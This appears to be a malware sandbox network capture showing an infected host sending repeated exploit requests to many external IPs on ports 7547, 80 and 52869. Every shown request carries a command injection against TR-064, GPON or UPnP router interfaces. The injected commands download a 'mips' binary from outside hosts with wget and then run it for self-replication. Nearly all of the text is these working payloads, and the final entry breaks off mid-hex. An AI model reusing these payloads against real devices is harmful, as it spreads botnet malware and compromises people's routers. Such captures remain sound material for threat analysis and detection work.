Apr 15, 2024 08:53:54.208865881 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.13	40852	121.190.36.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.288822889 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.13	59610	93.176.172.234	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.497107029 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.13	36078	116.206.128.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.505265951 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.13	59134	91.250.135.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:54.819123983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.13	43878	31.181.248.84	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.082823038 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:55.439686060 CEST	159	IN	HTTP/1.1 501 Not Implemented Content-Type: text/html; charset=utf-8 Content-Length: 54 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>501 Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.13	45892	121.171.208.226	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.306530952 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.13	43892	31.181.248.84	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.439397097 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:55.796782970 CEST	159	IN	HTTP/1.1 501 Not Implemented Content-Type: text/html; charset=utf-8 Content-Length: 54 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>501 Not Implemented</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.13	36350	187.45.106.253	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.585484028 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:55.939667940 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:55 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.13	46010	177.244.195.156	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.772262096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.13	55610	34.120.172.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.807413101 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.290687084 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.543957949 CEST	458	IN	HTTP/1.0 411 Length Required Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 286 Date: Mon, 15 Apr 2024 06:53:56 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 31 31 20 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4c 65 6e 67 74 68 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 50 4f 53 54 20 72 65 71 75 65 73 74 73 20 72 65 71 75 69 72 65 20 61 20 3c 63 6f 64 65 3e 43 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3c 2f 63 6f 64 65 3e 20 68 65 61 64 65 72 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>411 Length Required</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Length Required</h1><h2>POST requests require a <code>Content-length</code> header.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.13	54214	207.174.148.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.808130980 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.480456114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.710465908 CEST	240	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:53:56 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.13	51768	23.212.64.32	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.834909916 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.021140099 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:55 GMT Date: Mon, 15 Apr 2024 06:53:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 63 36 34 63 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 35 26 23 34 36 3b 35 32 63 31 31 33 38 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 62 63 36 34 63 64 31 37 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 35 26 23 34 36 3b 35 32 63 31 31 33 38 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.bc64cd17.1713164035.52c11387<P>https://errors.edgesuite.net/9.bc64cd17.1713164035.52c11387</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.13	56064	45.200.76.196	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.884864092 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:56.800368071 CEST	736	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`<
Apr 15, 2024 08:53:58.592374086 CEST	736	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 